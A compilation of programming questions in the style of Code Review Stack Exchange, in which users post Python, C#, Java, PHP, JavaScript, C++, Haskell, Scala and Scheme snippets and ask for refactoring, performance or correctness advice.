texts: 3-level deep if-else tree for constructing a neural network

texts:
The following code fragment constructs different types of neural networks outputs based on the options supplied. Currently, my code just has a huge note that describes what all the options are supposed to do. I wanted to learn how I can make this code less complex or perhaps break its complexity into simpler pieces. Any suggestions?

#------------------------------------------------------------#
# NOTE: Meaning of all the options.                          #
# stagger_schedule=extended: We copy input vec to output.    #
# stagger_schedule=external: We dont copy input to output.   #
# -----------------------------------------------------------#
# do_backward_pass: We use the output of the backward LSTM   #
#   Default:True.                                            #
# -----------------------------------------------------------#
# chop_bilstm: Should we chop the first and last vectors from#
# the sequence. Default:False                                #
#------------------------------------------------------------#
# extended_multiplicative: Multiply the forward and back LSTM#
#    and concatenate the input embedding.                    #
# external_multiplicative: Multiply the forward and back LSTM#
#    and but dont concatenate the input embedding.           #
#------------------------------------------------------------#
if (self.prm('stagger_schedule') == 'extended'):
    if self.prm('chop_bilstm'):
        if self.prm('do_backward_pass'):
            self.output_tv = T.concatenate(
                [forward, backward, input_tv], axis=1)[1:-1]
            pass
        else:
            self.output_tv = T.concatenate(
                [forward, input_tv], axis=1)[1:-1]
            pass
        pass
    else:
        if self.prm('do_backward_pass'):
            self.output_tv = T.concatenate(
                [forward, backward, input_tv], axis=1)
            pass
        else:
            self.output_tv = T.concatenate(
                [forward, input_tv], axis=1)
            pass
        pass
    pass
elif self.prm('stagger_schedule') == 'external':
    if self.prm('chop_bilstm'):
        if self.prm('do_backward_pass'):
            self.output_tv = T.concatenate(
                [forward[1:-1], backward[2:]], axis=1)
            pass
        else:
            self.output_tv = forward[1:-1]
            pass
        pass
    else:
        if self.prm('do_backward_pass'):
            self.output_tv = T.concatenate(
                [forward, backward], axis=1)
            pass
        else:
            self.output_tv = forward
            pass
        pass
    pass
elif self.prm('stagger_schedule') == 'extended_multiplicative':
    if self.prm('chop_bilstm') or (not self.prm('do_backward_pass')):
        raise NotImplementedError()
    self.output_tv = T.concatenate(
        [forward * backward, input_tv], axis=1)
    pass
elif self.prm('stagger_schedule') == 'external_multiplicative':
    if self.prm('chop_bilstm') or (not self.prm('do_backward_pass')):
        raise NotImplementedError()
    self.output_tv = forward * backward
    pass
else:
    raise NotImplementedError()


texts: Parsing a key=value config file for a Python FreeCell game

texts:
I'm new to Python, and my first serious project was a FreeCell game. The game works, with lots of options to combine moves, save games, load them, etc. But I skimped on some specifics of Python. In particular, reading in options.

import re

vertical = False
doubles = False
autoReshuf = False
savePosition = False
saveOnWin = False
annoyingNudge = False

def readOpts():
    global vertical
    global autoReshuf
    global doubles
    global saveOnWin
    global savePosition
    global annoyingNudge
    infile = "fcopt.txt"
    with open(infile) as f:
        for line in f:
            gotOne = 1
            if line[0] == '#': #ignore comments
                continue
            q=re.sub(r'.*=', '', line.rstrip())
            if "autoReshuf".lower() in line.lower():
                autoReshuf = TOrF(q)
            if "savePosition".lower() in line.lower():
                savePosition = TOrF(q)
            if "saveOnWin".lower() in line.lower():
                saveOnWin = TOrF(q)
            if "vertical".lower() in line.lower():
                vertical = TOrF(q)
            if "doubles".lower() in line.lower():
                doubles = TOrF(q)
            if "annoyingNudge".lower() in line.lower():
                annoyingNudge = TOrF(q)
    if gotOne:
        print "Options file read."
        f.close()
    else:
        print "Failed to read options file."
    return

def TOrF(x):
    if x == "False" or x == "0":
        return False
    return True

readOpts();

The options file I have features lines such as this, with #s to comment lines out:

vertical=1
doubles=0
autoReshuf=1
savePosition=0
saveOnWin=0
annoyingNudge=True

I have a feeling I could simplify this code greatly with ConfigParser, but I'm totally busted at the moment, even with examples. And I don't like throwing all those globals around. How can I write this brute-force code more succinctly and efficiently?


texts:
Project Euler Problem 10 asks: "What is the sum of all prime numbers below 2 million?"

How do I speed up my code? It's taking forever and I have never gotten the answer. However, I am sure that my code is right; I cheated the answer from online as I couldn't wait for an hour.

def isPrime(number):

    for n in xrange (2,number):
        if number%n == 0:
            return False
    return True

result = 2

for k in xrange (3,2000000,2):
    if isPrime(k):
        result += k
        print result,"     ",k

print "The total is %d" % result

The result is 142913828922.


texts:
The configuration file of my app is similar to,

<?xml version="1.0" encoding="utf-8" ?>
<Items>
      <Item Name="Coffee"
            Cost="10"
            Image="itemCoffee.png" />
      <Item Name="Tea"
            Cost="10"
            Image="itemTea.png" />
      <Item Name="Vada"
            Cost="10"
            Image="itemVada.png" />
  </Items>

Just trying to read the above small configuration file and I wrote this method.

public static class Configuration
{
    public static T DeSerialize<T>(string filePath)
    {
        if (!System.IO.File.Exists(filePath))
        {
            throw new System.IO.FileNotFoundException(filePath);
        }

        var serializer = new System.Xml.Serialization.XmlSerializer(T);
        return (T)serializer.Deserialize(new FileStream(filePath, FileMode.Open));
    }
}

Where should I use using in this code? (Because, I never ever dispose the new FileStream that I wrote in this method)
Is this an overkill for reading this simple xml file?


texts: Generic extension method that will attempt to parse a string and return it's value or default(T)

texts:
So I got sick of several things about the way TryParse works. I implemented a generic ParseOrDefault function using reflection. It appears to work as expected, but I'm not fool enough to say my code is bullet proof. What's wrong with it? If something is wrong with it, can it be fixed, or should this idea be tossed?

using System;
using System.Collections.Generic;
using System.Linq;
using System.Reflection;

public class Program
{
    public static void Main()
    {

        Console.WriteLine(("true").ParseOrDefault<bool>());
        Console.WriteLine(("false").ParseOrDefault<bool>());
        Console.WriteLine(("23").ParseOrDefault<int>());
        Console.WriteLine(("52").ParseOrDefault<int>());
        Console.WriteLine(("4/22/1989").ParseOrDefault<DateTime>());
        Console.WriteLine(("4/22/2016").ParseOrDefault<DateTime>());
    }
}

public static class DataProcessAbstractionExtensions
{
    public static T ParseOrDefault<T>(this string Value)
    {
        T ReturnedValue = default(T);
        //Since C# doesn't impliment an IParsable interface to filter generically
        //Reflection must be used to determine if object is in fact parsable
        var type = typeof(T);
        var MethodInfo = type.GetMethods().FirstOrDefault(MI =>
          {
              ParameterInfo[] ArgInfo = MI.GetParameters();
              return (ArgInfo.Length == 2 && ArgInfo[0].ParameterType == typeof(string) && ArgInfo[1].IsOut && ArgInfo[1].ParameterType.GetElementType() == type);
          });
        if (MethodInfo != null && MethodInfo.IsStatic)
        {
            object[] Arguments = new object[] { Value, ReturnedValue };
            MethodInfo.Invoke(null, Arguments);
            return (T)Arguments[1];
        };
        return default(T);
    }
}


texts:
I would like to get feedback on my code for Stack implementation written in scala. What can be improved to make it more like scala code. What important helper functions am i missing?
class StackDS[A] {
  private var list: List[A] = List[A]()

  def push(ele: A) =
    list = ele :: list

  def pop = {
    val pop = list.head
    list = list.tail
    pop
  }

  def size: Int = {
    list.size
  }

}


texts: .htaccess index.php removal, static content serving

texts:
I am writing a CMS type application and I am trying to restrict how the server gets accessed.

Any content (in js/, css/ or images/ directories) should be served as is, as long as there is an index.php file at the same level as the content directory
All other paths should run through index.php to determine what content gets displayed
The executed index.php file must not appear in the URL, although other instances must not get removed, in case of embedding another URL within the parameter part of the URL
There must be only one .htaccess file
The .htaccess file must work without modification not matter which directory it is placed in

I don't have access to the httpd.conf file on the hosted server. The .htaccess file is below. It sets REWRITE_BASE to the directory the .htaccess file is in, making it the "virtual" web root. It also sets INDEX_PATH and INDEX_PARAMS which are the bits before and after where the index.php would be in the URL if it hadn't been taken out.

For example: http://somedomain.net/testsite/foo/bar/baz/qux/

The .htaccess file is in testsite/. There is an index.php file in testsite/ and another one in testsite/foo/bar/. When the above URL is requested the script in testsite/foo/bar/ will get executed. PHP will have access to three additional fields in $_SERVER: REWRITE_BASE => '/testsite/', INDEX_PATH => 'foo/bar/' & INDEX_PARAMS => 'baz/qux/'.

It seems to behave properly. Can the code/rules be simplified? Am I using any unnecessary flags? Have I missed any flags that would really help? Is there a better way of serving the final matched file other than setting E=FINAL:true and testing for it in the next iteration?

Options -Indexes
DirectoryIndex

RewriteEngine On

# Find directory that this .htaccess file is saved in
# relative to DOCUMENT_ROOT and store the value in ENV:REWRITE_BASE
# The value will always begin and end with a slash: e.g. /, /dir1/, /dir1/dir2/, etc.
# Leave RewriteBase set to /. This file can now be moved without needing to be edited
# Use %{ENV:REWRITE_BASE} at the start of every path replacement pattern
RewriteBase /
RewriteCond $0#%{REQUEST_URI} ([^#]*)#(.*)\1$
RewriteRule ^.*$ - [E=REWRITE_BASE:%2]

# Remove REDIRECT_.* copies of variables
RewriteRule ^ - [E=INDEX_PATH:%{ENV:REDIRECT_INDEX_PATH},E=!REDIRECT_INDEX_PATH,E=INDEX_PARAMS:%{ENV:REDIRECT_INDEX_PARAMS},E=!REDIRECT_INDEX_PARAMS,E=!REDIRECT_REWRITE_BASE,E=!REDIRECT_STATUS]

# If FINAL was set in the last iteration (now REDIRECT_FINAL)
# don't redirect again, stop processing ([L]ast rule) and unset REDIRECT_FINAL
RewriteCond %{ENV:REDIRECT_FINAL} true
RewriteRule ^ - [L,E=!REDIRECT_FINAL]

# If index.php and one of js/, css/, images/ exist at the same level serve the static file
RewriteCond %{DOCUMENT_ROOT}%{ENV:REWRITE_BASE}$0 -d
RewriteCond %{DOCUMENT_ROOT}%{ENV:REWRITE_BASE}$1index.php -f
RewriteRule ^(.*/)?(js|css|images)/$ %{ENV:REWRITE_BASE}$0%{ENV:INDEX_PARAMS} [L,E=FINAL:true]

# If there is an index.php file in the current directory, and the end of the URI is /index.php
# redirect (302 test, 301 production) to without /index.php, adding the INDEX_PARAMS back on
RewriteCond %{REQUEST_FILENAME} -f
RewriteRule ^(.*/)?index.php/?$ %{ENV:REWRITE_BASE}$1%{ENV:INDEX_PARAMS} [L,R=302]

# If there is an index.php file in the current directory, serve it
RewriteCond %{REQUEST_FILENAME}/index.php -f
RewriteRule ^.*$ %{ENV:REWRITE_BASE}$0index.php [L,NS,E=FINAL:true]

# If the current directory doesn't contain index.php
# record the path to the current directory and the path removed afterwards
# Restart the rules, trying one directory further down
RewriteCond %{REQUEST_FILENAME}/index.php !-f
RewriteRule (.*/)?(.+)$ %{ENV:REWRITE_BASE}$1 [L,QSA,E=INDEX_PATH:$1,E=INDEX_PARAMS:$2%{ENV:INDEX_PARAMS}]

# If there is no index.php file at the same level as this .htaccess file
# reset the URI to the original request and allow Apache to process it (e.g. 404)
RewriteRule ^$ %{ENV:REWRITE_BASE}%{ENV:INDEX_PARAMS} [L,E=!INDEX_PATH,E=!INDEX_PARAMS,E=!REWRITE_BASE,E=FINAL:true]


texts: AngularJS factory, return object to be used again in factory

texts:
I'm trying to create a wrapper / factory around the cordova media plugin, which requires you to create a new Media object, and then use it again to pause, stop, play, etc it.

The factory + link to actual code:

.factory('$cordovaMedia', ['$q', function ($q) {

return {
  newMedia: function (src) {
    var q = $q.defer();
    var mediaStatus = null;

    var media = new Media(src,
      function (success) {
        q.resolve(success);
      }, function (error) {
        q.reject(error);
      }, function (status) {
        mediaStatus = status;
      });

    return {
      media: media,
      mediaStatus: mediaStatus,
      promise: q.promise
    }
  },

  play: function (source) {
    return source.play();
  },

  stop: function (source) {
    return source.play();
  }
  }]);

Example usage of how the factory works with this implementation:

var media = $cordovaMedia.newMedia('some/src.mp3').media

$cordovaMedia.play(media);
$cordovaMedia.stop(media);

As you can see I'm creating a new Media object, and assigning it to a variable and using it again through the factory.

I'm wondering if there is a better way of doing this? Mainly what is the best way in AngularJS to create an object in a factory, which must be used again, through the same factory?


texts:
This code currently works i wonder if i could make any optimisations or anything to make the code appear cleaner using functions or whatnot, suggestions are welcome!

#include <cmath>
#include <cstdio>

int prompt(const char* name)
{
printf("%s", name);
int value;
scanf("%d", &value);
return value;
}

int main()
{
    int mod, a, b, zbroj, razlika, umnozak, kolicnik;
    printf("Mod 1 je za zbrajanje \n");
    printf("Mod 2 je za oduzimanje \n");
    printf("Mod 3 je za mnozenje \n");
    printf("Mod 4 je za dijeljenje \n");
    printf("U kojem modu zelis biti: \n");
    std::scanf("%d", &mod);

    switch (mod)
    {
        case 1:
            printf("Odabrali ste zbrajanje! \n");
            a = prompt("a: ");
            b = prompt("b: ");
            zbroj = a + b;
            printf("%d + %d = %d", a, b, zbroj);
            break;
        case 2:
            printf("Odabrali ste oduzimanje! \n");
            a = prompt("a: ");
            b = prompt("b: ");
            razlika = a - b;
            printf("%d - %d = %d", a, b, razlika);
            break;
        case 3:
            printf("Odabrali ste mnozennje! \n");
            a = prompt("a: ");
            b = prompt("b: ");
            if(a == 0 or b==0){
                printf("Mnozite s nulom, a kad se mnozi s nulom rezultat je uvijek 0: \n");
                umnozak = 0;
            }
            else
            {
                umnozak = a * b;
            }
            printf("%d * %d = %d", a, b, umnozak);
            break;
        case 4:
            printf("Odabrali ste dijeljenje! \n");
            a = prompt("a: ");
            b = prompt("b: ");
            if(a == 0 or b==0){
                printf("Dijelite s nulom, a kad se dijeli s nulom rezultat je uvijek 0: \n");
                kolicnik = 0;
            }
            else
            {
                kolicnik = a / b;
            }
            printf("%d / %d = %d", a, b, kolicnik);
            break;
        default:
            printf("Nemamo tu opciju trenutno, prcekajte za nadogradnju programa, ili se javite developeru! \n");
    }
    return 0;
}


texts:
This is the code I implemented so far to create a single instance WPF application:

#region Using Directives
using System;
using System.Globalization;
using System.Reflection;
using System.Threading;
using System.Windows;
using System.Windows.Interop;
#endregion

namespace MyWPF
{
    public partial class MainApplication : Application, IDisposable
    {
        #region Members
        private Int32 m_Message;
        private Mutex m_Mutex;
        #endregion

        #region Methods: Functions
        private IntPtr HandleMessages(IntPtr handle, Int32 message, IntPtr wParameter, IntPtr lParameter, ref Boolean handled)
        {
            if (message == m_Message)
            {
                if (MainWindow.WindowState == WindowState.Minimized)
                    MainWindow.WindowState = WindowState.Normal;

                Boolean topmost = MainWindow.Topmost;

                MainWindow.Topmost = true;
                MainWindow.Topmost = topmost;
            }

            return IntPtr.Zero;
        }

        private void Dispose(Boolean disposing)
        {
            if (disposing && (m_Mutex != null))
            {
                m_Mutex.ReleaseMutex();
                m_Mutex.Close();
                m_Mutex = null;
            }
        }

        public void Dispose()
        {
            Dispose(true);
            GC.SuppressFinalize(this);
        }
        #endregion

        #region Methods: Overrides
        protected override void OnStartup(StartupEventArgs e)
        {
            Assembly assembly = Assembly.GetExecutingAssembly();
            Boolean mutexCreated;
            String mutexName = String.Format(CultureInfo.InvariantCulture, "Local\\{{{0}}}{{{1}}}", assembly.GetType().GUID, assembly.GetName().Name);

            m_Mutex = new Mutex(true, mutexName, out mutexCreated);
            m_Message = NativeMethods.RegisterWindowMessage(mutexName);

            if (!mutexCreated)
            {
                m_Mutex = null;

                NativeMethods.PostMessage(NativeMethods.HWND_BROADCAST, m_Message, IntPtr.Zero, IntPtr.Zero);

                Current.Shutdown();

                return;
            }

            base.OnStartup(e);

            MainWindow window = new MainWindow();
            MainWindow = window;
            window.Show();

            HwndSource.FromHwnd((new WindowInteropHelper(window)).Handle).AddHook(new HwndSourceHook(HandleMessages));
        }

        protected override void OnExit(ExitEventArgs e)
        {
            Dispose();
            base.OnExit(e);
        }
        #endregion
    }
}

Everything works perfectly... but I have some doubts about it and I would like to receive your suggestions about how my approach could be improved.

I was asked by Code Analysis to implement IDisposable interface because I was using IDisposable members (the Mutex). Is my Dispose() implementation good enough? Should I avoid it because it's never going to be called?
It's better to use m_Mutex = new Mutex(true, mutexName, out mutexCreated); and check for the result or to use m_Mutex = new Mutex(false, mutexName); and then check for m_Mutex.WaitOne(TimeSpan.Zero, false); ? In case of multithreading I mean...
RegisterWindowMessage API call should return UInt32... but HwndSourceHook is only accepting Int32 as message value... should I be worried about unexpected behaviors (like a result bigger than Int32.MaxValue)?
In OnStartup override... should I execute base.OnStartup(e); even if another instance is already running and I'm going to shutdown the application?
Is there a better way to bring the existing instance to the top that doesn't need to set Topmost value? Maybe Activate()?
Can you see any flaw in my approach? Something concerning multithreading, bad exceptions handling and something like that? For example... what happens if my application crashes between OnStartup and OnExit?


texts:
I've written a Java class that will provide the utility of, in essence, hashing user passwords for an Android app that integrates Couchbase mobile into it, and then, checking whether or not the hashing of the password string entered by the user matches the hash stored in the DB to grant access.

Does there appear to be any major issues with this code to anyone? I know crypto is a very tricky thing and mistakes can be easily made.

package fitfast.security;

import java.security.NoSuchAlgorithmException;
import java.security.SecureRandom;
import java.security.spec.InvalidKeySpecException;
import java.security.spec.KeySpec;
import java.util.Arrays;

import javax.crypto.SecretKeyFactory;
import javax.crypto.spec.PBEKeySpec;

public class Authenticator {

    public static byte[] generateHash(String password, byte[] salt) throws NoSuchAlgorithmException, InvalidKeySpecException {
        String algorithm = "PBKDF2WithHmacSHA512";
        int length = 512;
        int iterations = 60000;
        KeySpec sp = new PBEKeySpec(password.toCharArray(), salt, iterations, length);
        SecretKeyFactory kf = SecretKeyFactory.getInstance(algorithm);
        return kf.generateSecret(sp).getEncoded();

    }

    public static byte[] generateSalt() throws NoSuchAlgorithmException {
        SecureRandom sr = SecureRandom.getInstance("SHA1PRNG");
        byte[] salt = new byte[8];
        sr.nextBytes(salt);
        return salt;
    }

    public static boolean check(byte[] hash_Input, String hash_User) {
        return Arrays.equals(hash_Input, hash_User.getBytes());
    }

}


texts:
This is my first C++ in many years. It's based on some stuff I found on the internet, including a Microsoft article on a similar topic. But I'm sure there are C++ idioms that might make this better or leaner (my main goal).

#include <ShObjIdl.h>
#include <atlbase.h>
#include <wchar.h>

int wmain(int argc, wchar_t* argv[])
{
    HRESULT hr = S_OK;

    if (argc < 2)
    {
        hr = E_INVALIDARG;
        wprintf(L"Supply an app ID (AppUserModelId) for the application to launch.");
        return hr;
    }

    const wchar_t* appId = argv[1];

    hr = CoInitializeEx(nullptr, COINIT_APARTMENTTHREADED);
    if (FAILED(hr))
    {
        wprintf(L"Error initializing COM");
        return hr;
    }

    CComPtr<IApplicationActivationManager> aam = nullptr;
    hr = CoCreateInstance(CLSID_ApplicationActivationManager, nullptr, CLSCTX_LOCAL_SERVER, IID_PPV_ARGS(&aam));
    if (FAILED(hr))
    {
        wprintf(L"Error creating ApplicationActivationManager");
        CoUninitialize();
        return hr;
    }

    hr = CoAllowSetForegroundWindow(aam, nullptr);
    if (FAILED(hr))
    {
        wprintf(L"Error calling CoAllowSetForegroundWindow");
        CoUninitialize();
        return hr;
    }

    unsigned long pid = 0;
    hr = aam->ActivateApplication(appId, nullptr, AO_NONE, &pid);
    if (FAILED(hr))
    {
        wprintf(L"Error calling ActivateApplication");
        CoUninitialize();
        return hr;
    }

    CoUninitialize();

    return 0;
}

Pretty small and simple, but I want to open-source this. And I definitely know the feeling of looking at JavaScript newbies' code and going "ugh! why didn't they just do <x>!" So I want to come across as a suave sophisticated C++ programmer instead ;)


texts:
Project Euler #10:

  The sum of the primes below 10 is \$2 + 3 + 5 + 7 = 17\$.

  Find the sum of all the primes below two million.

My solution:

public class PrimeSumFinder {

    private static final int MAX = 2_000_000;

    public static void main(String[] args) {
        long time = System.nanoTime();
        long result = getSumOfPrimesBelowN(MAX);
        time = System.nanoTime() - time;
        System.out.println("Result: " + result
                + "\nTime used to calculate in nanoseconds: " + time);
    }

    private static long getSumOfPrimesBelowN(int n) {
        boolean[] isPrimeArray = new boolean[n + 1];
        for (int i = 2; i <= n; i++) {
            isPrimeArray[i] = true;
        }
        for (int i = 2; i * i <= n; i++) {
            if (isPrimeArray[i]) {
                for (int j = i; i * j <= n; j++) {
                    isPrimeArray[i * j] = false;
                }
            }
        }
        // Sum the primes
        int index = 0;
        long result = 0;
        for(boolean isPrime : isPrimeArray) {
            if(isPrime) {
                result += index;
            }
            index++;
        }
        return result;
    }

}

Output:

   Result: 142913828922
 Time used to calculate in nanoseconds: 87694113

Questions:

Is this the most efficient way? If not, what is a better way?
Does it have bad practices in it?


texts:
I write this solution to the popular N Queens problem using backtracking algorithm. I am relatively new to Python. I would like to know what are the ways to refactor this code and also code style of Python in general.

def isSafe (board, row, col):
    # check left row
    for y in range(col):
        if board[row][y] == 1:
            return False
    # check diagonal left top
    for x, y in zip(range(row, -1, -1), range(col, -1, -1)):
        if board[x][y] == 1:
            return False
    # check diagonal left bottom
    for x, y in zip(range(row, N, 1), range(col, -1, -1)):
        if board[x][y] == 1:
            return False

    return True

def generateSolution(board, col):
    # terminating condition
    # all columns covered
    global N
    if col >= N:
        return True
    # loop over all the rows
    for i in range(N):
        if isSafe(board, i, col) == True:
            board[i][col] = 1
            # recursively place other queens
            if generateSolution(board, col + 1) == True:
                return True
            # unmark queen spot
            board[i][col] = 0
    # backtrack
    return False

N = int(input())
startCol = 0
board = [[0 for i in range(N)] for j in range(N)]
# print(board)

if generateSolution(board, startCol) == False:
    print("No Solution Exists")
else:
    print("Solution exists")
    print(board)


texts: Mongo command to add a field to all documents in a collection

texts:
This code appends a boolean column to all documents in the birds collection.

db.birds
  .find()
  .snapshot()
  .forEach(function(el) {
    el.hi = true
    db.birds.save(el)
  })

Here's how the command is run in production.

mongo db_stuff/db_name -u username -p password theScript.js

This command runs very slowly.  Should I look into the $set operator or something else that will speed this up?


texts: Haskell function to error-diffuse a floating value to a list of integers

texts:
I needed to write a function which would 'error diffuse' floating values to integers:

errorDiffuse :: Double -> Int -> Double -> [Int]

errorDiffuse _ 0   _   = []

errorDiffuse v num err = tv : errorDiffuse v (num - 1) (err + v - fromIntegral tv)
  where tv = truncate (v + err)

So that, for example:

errorDiffuse 1.4 10 0 => [1,1,2,1,1,2,1,2,1,1]

(i.e., the function produces a list of num integers, each of which is the ceiling or floor of v, starting with a given error value (zero in this case)).

Is there a better way to write this sort of for loop? What's the higher-order function I ought to be thinking in terms of?


texts: A javascript equivalent for toDictionary (c#)

texts:
I made a function that should ease the making of new objects out of objects or arrays.

I extended underscore so thats why the _.

        _.dictionary = function (obj, keyIteratee, valueIteratee) {
            var newObj = new Object();
            if (Array.isArray(obj)) {
                var length = obj.length;
                for (var index = 0; index < length; index++) {
                    newObj[keyIteratee(obj[index], index)] = valueIteratee(obj[index], index);
                }
            } else { //assume its an object
                var keys = Object.keys(obj);
                var length = keys.length;
                for (var index = 0; index < length; index++) {
                    newObj[keyIteratee(obj[keys[index]], keys[index])] = valueIteratee(obj[keys[index]], keys[index]);
                }
            }
            return newObj;
        };

usage:

_.dictionary(inputArray, function(s) { return s.Name; }, function(s) { return s.Value; });
_.dictionary(inputObject, function(s,i) { return i; }, function(s) { return s.Inner.Value; });

Is this a good way to tackle such a thing? am i missing something?


texts: Adjacency List Graph representation on python

texts:
I began to have my Graph Theory classes on university, and when it comes to representation, the adjacency matrix and adjacency list are the ones that we need to use for our homework and such. At the beginning I was using a dictionary as my adjacency list, storing things like this, for a  directed graph as example:

graph = {
    0: [1, 2, 4],
    1: [2, 3],
    2: [],
    3: [4],
    4: [0],
}

There was no problem, since the graphs I was dealing with had no weight in their edges, and if I wanted to represent an undirected graph, just had to "mirror" the edges. Now I'm facing a problem with the representation in adjacency list for weighted graphs, being directed or undirected.

So far, this is what I'm using:

class Graph:

    def __init__(self, vertices, is_undirected=True):
        self.__v = vertices  # number of vertices
        self.__edge_list = []  # store the edges and their weight
        self.__is_undirected = is_undirected # True for undirected graphs
        self.__adj_matrix = None # stores the adjacency matrix
        self.__adj_list = None # stores the adjacency list

    # method for adding an edge to the graph
    def add_edge(self, u, v, w=None):
        self.__edge_list.append([u, v, w if w else 1])
        # in case it is an undirected graph,
        # replicate edge in opposite way
        if self.__is_undirected:
            self.__edge_list.append([v, u, w if w else 1])

And this is the method for making my adjacency list using the __edge_list:

def make_adjacency_list(self):
        adj_list = {key: [] for key in range(self.__v)}
        for edge in self.__edge_list:
            # where edge[1] is the destiny and edge[2] the weight
            edge_val = {edge[1]: edge[2]}
            adj_list[edge[0]].append(edge_val)
        self.__adj_list = adj_list

Also, the graph will be generated from a file, formatted as such:

0 # 0 for directed graph
5 # number of vertices
0 2 4 # edge from u to v, with w weight
0 4 60
0 3 23
2 3 4
3 1 10
4 2 15

This results in the following:

0 = [{2: 4}, {4: 60}, {3: 23}]
1 = []
2 = [{3: 4}]
3 = [{1: 10}]
4 = [{2: 15}]

The problem with this is that is becomes very hard, at least for me, to recover the data for each edge from my adjacency list, so I was wondering if this the right way to do it, or if I can be more efficient in what I'm trying to do. My current algorithms for BFS(breadth first search), DFS( depth first search), Kruskal, Prim and Djikstra are having problems in this structure I made, but I can't see another way of doing it unless I move the adjacency list in a separate class.

Lastly, and code-improvement/advice in more pythonic ways of doing things would be welcome. I tried as best as I could to make this code clean, but now it is a mess(not proud of that). If there's need of any other bit of code or clarification I'll answer as best as I can. I tried going to the professor, but he's more of a Java person, so he couldn't help much.


texts:
I'd like to improve my router.

This is the current code for my autoloading action within my MVC application:

spl_autoload_register(function ($className) {
if (file_exists(ROOT . DS . 'library'  . DS . 'intranet'  . DS  . 'classes' . DS .strtolower($className) . '.php')){
    require_once(ROOT . DS . 'library'  . DS . 'intranet'  . DS  . 'classes' . DS .strtolower($className) . '.php');
} else if (file_exists(ROOT . DS . 'application' . DS . 'controller' . DS . strtolower($className) . '.php')) {
    require_once(ROOT . DS . 'application' . DS . 'controller' . DS . strtolower($className) . '.php');
} else if (file_exists(ROOT . DS . 'application' . DS . 'model' . DS . strtolower($className) . '.php')) {
    require_once(ROOT . DS . 'application' . DS . 'model' . DS . strtolower($className) . '.php');
} else if (file_exists(ROOT . DS . 'application' . DS . 'view' . DS . strtolower($className) . '.php')) {
    require_once(ROOT . DS . 'application' . DS . 'view' . DS . strtolower($className) . '.php');
} else {
throw new exception("$className" class failed to load: file not found");
});

It is looking for the class file in different folder, requiring it. If that fails, an exception is thrown.

It doesn't seem flexible, and I doubt that it'll play well with other libraries and autoloaders that are introduced as the project goes.

How could I improve my existing autoloader?


texts: CodeIgniter method to get requests for superiors to approve

texts:
I'm currently working on an approval system right now using PHP (Codeigniter) and I have this method of getting all the requests according to your department group and position depth.

The checking of the requests is based upon the user's position depth. 6 being the lowest and 1 being the highest. So basically there will be a maximum of 5 people to check the request. For example my depth is 6, line1 will be 5, line2 will be 4 and so on. The system will find someone with position depths like that and same department group. Lines 3 and 2 will decide to send it to ceo (1) or not so the default is only until 2.

Some of my database columns

It is designed that people above the line can check the request even if the lower lines havent checked it yet like for example maybe line1 havent checked it yet because he/she is on vacation and line3 cannot wait already so he/she decides to process the request because it is important. Now if the above line processes it already, lower lines cannot process it anymore so they will only be allowed to view it.

Now here comes my code of nested for loops in checking out all these things that I said. People say nested for loops, especially as many as mine is not a good practice. Is my for loop gonna have problems when it comes to large data? If so how do I alter my code without altering my database for this?

This is my Model

public function getRequestsToProcess($i,$depth,$departmentGroup)
{
    $this->db->select('*, ns_request_info.idx as request_idx, ns_staff_info.idx as staff_idx');
    $this->db->from('ns_request_info');
    $this->db->join('ns_staff_info', 'ns_request_info.requested_by_idx = ns_staff_info.member_idx');
    $this->db->where('line'.$i.'', $depth);
    $this->db->where('line'.$i.'_action', 'PENDING');
    if($departmentGroup!='HIGHER TIER'){ $this->db->where('ns_staff_info.department_group', $departmentGroup); }
    $this->db->where('status', 'PENDING');
    $this->db->or_where('status', 'ONGOING');
    $this->db->where('line'.$i.'', $depth);
    $this->db->where('line'.$i.'_action', 'PENDING');
    if($departmentGroup!='HIGHER TIER'){ $this->db->where('ns_staff_info.department_group', $departmentGroup); }
    $query = $this->db->get();
    return $query->result_array();
}

This is my method with nested for loops

public function process()
{
    $data = new stdClass;
    $data->param_menu = 'request';

    $staffInfo = $this->staffinfo_model->selectItem(array('member_idx'=>$this->session->userdata('member_index')));

    for ( $i=1 ; $i<=5 ; $i++) {
        /*get lines with user depth and if same department group*/
        ${"line" . $i} = $this->staffrequisition_model->getRequestsToProcess($i,$staffInfo->position_depth,$staffInfo->department_group);

        for ($x = 0 ; $x < count(${"line" . $i}) ; $x++) {
            $counter = 0;
            for ($y = $i + 1 ; $y <=5 ; $y++) {
                if (${"line" . $i}[$x]['line'.$y.'_action']!=='PENDING' && ${"line" . $i}[$x]['line'.$y.'_action']!=='') {
                    $counter++;
                    break;
                }
            }
            if ($counter > 0) {
                ${"line" . $i}[$x]['is_checked'] = 1;
            } else {
                ${"line" . $i}[$x]['is_checked'] = 0;
            }
        }
    }

    $data->param_requests = array_merge($line1, $line2, $line3, $line4, $line5);

    $this->load->view('dashboard/staff/process_view', $data);
}

Now is_checked being the marker if the request is already checked in upper lines. I hope you guys can give me any tips on how to optimize my code.


texts: Counting Ways to Make Change -- Is this good functional/Lisp style?

texts:
I have just started learning some Scheme this weekend. I recently solved a problem that goes something like:

Count the number of ways possible to give out a certain amount of change using
1 5 10 25 and 50 cent pieces.
--SICP 1.16

So my code to this question looks like this:

(define (make-change amount)
  (define coin-total 5)
  ;;#Function that actually does the calculating
  (define (calculate amount coins)

    ;;#Lookup values on the table vector, if none is found find it and add it.
    (define (lookup)

      ;;#Location on the table vector
      (define position (- (+ coins (* coin-total (- amount 1))) 1))

      ;;#Get the value in the table vector
      (define (search-for amount coins)
        (vector-ref table position))

      ;;#Not quite so functional, but we need to add it somehow
      (define (update val)
        (begin (vector-set! table position val)
               val))

      (let ((result (search-for amount coins)))
        (if (= result 0)
          (let* ((left-branch (calculate amount (- coins 1)))
                 (right-branch (calculate (- amount (coin-value coins)) coins)))
           (update (+ left-branch right-branch)))
          result)))

    (cond ((= amount 0) 1 )
          ((or (< amount 0) (= coins 0)) 0)
          (else (lookup))))

  ;;#Table stuff
  (define table (make-vector (* amount coin-total) 0))
  (define (init-table position)
    (if (< position 0)
      0
      (begin (vector-set! table position 1)
             (init-table (- position 1)))))

    ;;#The entry point, sets up the table and starts the calculation
    (begin (init-table 4) (calculate amount coin-total)))

    ;;#Mapping from coin number to value, order doesn't matter
    (define (coin-value n)
      (cond ((= n 1) 1)
          ((= n 2) 5)
          ((= n 3) 10)
          ((= n 4) 25)
          ((= n 5) 50)))

The logic in this code is sound, it "works" but I'm worried that I'm not writing it very idiomatically. What suggestions or alterations would you make for this code?

Note: I stuck this # in the comments here so that the code highlighting would stop treating it like code and messing up the syntax highlighting


